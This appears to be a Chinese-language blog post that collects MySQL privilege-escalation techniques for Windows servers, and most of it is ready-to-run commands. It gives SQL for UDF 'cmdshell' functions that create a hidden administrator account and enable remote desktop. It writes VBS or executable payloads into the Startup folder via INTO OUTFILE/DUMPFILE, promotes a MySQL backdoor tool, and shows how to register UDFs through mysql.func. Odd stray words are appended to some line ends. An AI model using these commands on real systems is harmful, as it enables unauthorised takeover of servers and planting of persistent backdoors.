原創--對mysql提權一些總結

一 UDF提權php

這類提權方法我想你們已經知道了,我大體寫一下,具體語句以下:mysql

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:\web\3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');web

二 VBS啓動項提權sql

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啓動\\a.vbs";shell

先在webshell裏鏈接上數據庫,創建表,將VBS寫入表裏,而後導入啓動項,若是UDF提權不行的話也能夠嘗試下這個方法,前提是要有ROOT權限,後面有個,0表示不彈出CMD窗口,安靜的運行。數據庫

還能夠這樣寫:windows

create table a (cmd BLOB);
insert into a values (CONVERT(***的16進制代碼,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\啓動\\mm.exe'
drop table a;
執行前3條語句,就能夠將***寫進啓動裏了,前提是***必定要是16進制,還有就是路徑要是\\,由於windows會自動過濾掉一個\服務器

三 Linx Mysql BackDoor提權ide

Linx Mysql Door
Mysql BackDoor是一款針對PHP+Mysql服務器開發的後門,該後門安裝後爲Mysql增長一個能夠執行系統命令的"state"函數,而且隨Mysql進程啓動一個基於Dll的嗅探型後門,這個後門在Windows下擁有與Mysql同樣的系統權限,從而巧妙的實現了無故口,無進程,無服務的穿牆***.
用法:將Mysql.php傳到PHP服務器上,點擊"自動安裝Mysql BackDoor",而後直接執行命令便可函數

四,MIX.DLL提權

create table temp_mix(abc longblob);
insert into temp_mix values(load_file('D:\\web\\udf.dll'));
select * from temp_mix into dumpfile 'C:\\Windows\\system32\\udf.dll';
create function MyCmd returns string soname 'udf.dll';
select MyCmd('net user');
drop table if exists temp_mix;

前三句主要目的是把DLL放到系統目錄.第4句創建函數.而後就能夠執行系統命令了。而最容易出問題的就是第4句:can't open shared library 'udf.dll'(error 2);就說下他.

   先前的時候.有次提權.能夠創建函數.也忘了什麼緣由了.須要從新建下這個函數.首先百度了下.說得是:drop function MyCmd; 就能夠刪到已經創建的函數.測試了下.發現仍是不行.而後繼續找的時候.說這是MYSQL的一個BUG.能夠執行以下語句:delete from mysql.func where name='MyCmd';.測試了下成功了.前天再次盯着屏幕上的can't open shared library 'udf.dll'.又看到了這條delete語句.咱們知道delete就是刪除.是刪的表裏的東西.刪下表就能夠刪了函數了?那反過來.創建函數是否是就是往表裏插入一條新記錄?並且是mysql.func.也就是mysql這個庫裏的func表.呵呵.看名字也象.測試一番後.得出以下結果:

   在提權的時候.創建函數顯示can't open shared library 'udf.dll'.就乾脆跳過這句.執行另一句.或者說.把第4句換成:insert into mysql.func values('MyCmd',0,'udf.dll','function');.說下func這個表的結構:4列.name,return,dl,fun.第二列和第四列的名字記不大清楚了.但意思同樣.有興趣能夠本身select * from func;下就知道了.第一列就是新建函數的名字.字符串.第二列是返回值.填0.第三列dl指函數所在的dll名字.字符串類型.這裏爲咱們導到系統目錄裏的dll名.不必定是udf.dll.只要跟你導出的同樣就行.第四列做用不清楚.可是填上funciton這個字符串就能用.應該是指這個是個函數吧...由於這只是個插入操做.因此只要是root.應該不會有錯誤的.後面的就同樣了.select MyCmd('whoami');.可是別急!這裏有個前提:須要重啓MYSQL..我對MYSQL不瞭解.可是重啓後新建的函數絕對可用.貌似有別的辦法能夠達到一樣的效果.好象是flush.可是具體flush哪裏.就不知道了.不過不是權限.也不是func表.試過了.並且MYSQL下.搜了好久也沒找到root在MYSQL下經過命令重啓的.總有種感受.不用重啓的.哪位對MYSQL熟悉的看到後若是知道有什麼命令告訴小弟下...根據我本身最近的***測試,發現不管是劍心寫的仍是其餘mysql提權腳本,對HKEY_CURRENT_USER這個句柄都不支持,若是服務器禁用了CMD,即便有ROOT,也沒法用寫註冊表的方式來解禁,要是有大牛能寫出來的話還望共享一下!

相關文章
相關標籤/搜索